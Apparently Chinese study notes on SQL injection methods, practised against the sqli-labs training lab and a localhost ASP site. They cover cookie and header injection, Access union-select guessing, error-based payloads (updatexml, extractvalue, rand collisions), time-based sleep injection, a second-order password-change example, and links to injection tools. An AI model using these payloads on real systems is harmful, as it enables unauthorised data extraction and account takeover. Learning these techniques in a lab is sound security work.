注入手法
Cookie注入
sqli-labs-master/Less-20/为例
正常提交是无法进行注入的,可以通过cookie注入
GET方式注入
就如正常注入一样先判断字符型还是数字型,有无回显,有无报错等
HTTP头部注入
sqli-labs-master/Less-18/为例
可以看到有user-agent回显说明有可能与http头部信息有联系
json注入
dates{
‘user’:‘xiaoming’,
‘pass’:‘xiaoming’
}
Access注入
不与其他库有联系,即表就是数据库
?id=1 union select 1,2,3,4 from 表名
access直接注入就行了但前提直到表名
如果列名猜取不到:
原本正确
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
采取*判断表内存在的字段个数
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin 错误
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin 错误
一直到
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 正确
说明了admin表下有6个字段;
order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案;
也就是:
* = 6个字符
2 × * = 12个字符
22 - 12 = 10个字符
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
如果你发现,上面查看了网页源码也爆不出数据,请用以下方法:
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
源代码爆出数据
SQL server注入
判断类型:
and exists (select count(*) from sysobjects)– 返回正常就是sql server
and exists (select * from sysobjects)–
工具注入
PostgreSQL注入
正常类似mysql注入
Oracle注入
正常工具注入
Mangdb注入
www.github.com/youngyangyang04/NoSQLAttack
查询方式
insert
插入数据
在网站应用中进行用户注册添加操作
如 insert into news(id,url,text) values(2,‘x’,’$t’)
由于通常没有回显所以使用报错注入
delete
删除数据
如: delete from news where id=$id
update
会员或后台中心数据同步或缓存等操作
如:update user set pwd=’$p’ where id=2 and username='admin’
报错注入
1. ?id=2’ and updatexml(1,concat(’^’,version(),’^’),1) --+
2 extractvalue(1,concat(0x7e,(select database()),0x7e))
3 group by
先执行from ,然后group by 执行会触发rand()函数生成随机数,然后select 执行rand()函数同样产生随机数,两次执行rand函数执行结果不一样
尽量把小数点保留较少使冲突概率增大
4 本地构造表报错
select concat(’^’,version(),’^’,left(rand(),3))x,count(*) from (select 1 union select 2 union select 3 union select 4) a group by x;
当构造的表多时,每个表产生都随机数字,表多的话,产生随机数字相同的概率就大,报错概率就高了
延时注入
if sleep substr
select * from user where id=1 and sleep(5); 延时5秒
if(condition,A,B) 条件为真返回A,条件为假返回B
返回456条件为假
结合使用延时5秒
substr mid ascill
substr(a,b,c) #从b位置开始截取字符串a,的c长度
mid(a,b,c) #从b位置开始截取字符串a,的c位
m=109
当有多个表时可以用limit x,y进行分页查询来进行查不同的表
left
从左侧截取a的前b位
二次注入
白盒测试18关
已有用户admin4 密码admin4
新注册用户admin4’#
修改admin4’#的密码
结果修改了admin4的密码
究其原因是因为sql语句执行成了
$sql = "UPDATE users SET PASSWORD=‘654321’ where username=‘admin4’#’ and password=‘123456’ ";
后面的单引号和注释符造成的执行结果为
UPDATE users SET PASSWORD=‘654321’ where username=’**admin4’;
DNSlog注入
https://blog.csdn.net/monster663/article/details/113757235
http://ceye.io/注册dns
https://github.com/ADOOO/DnslogSqlinji注入工具
加密中转注入
在本地实现中转,使用sqlmap进行加密注入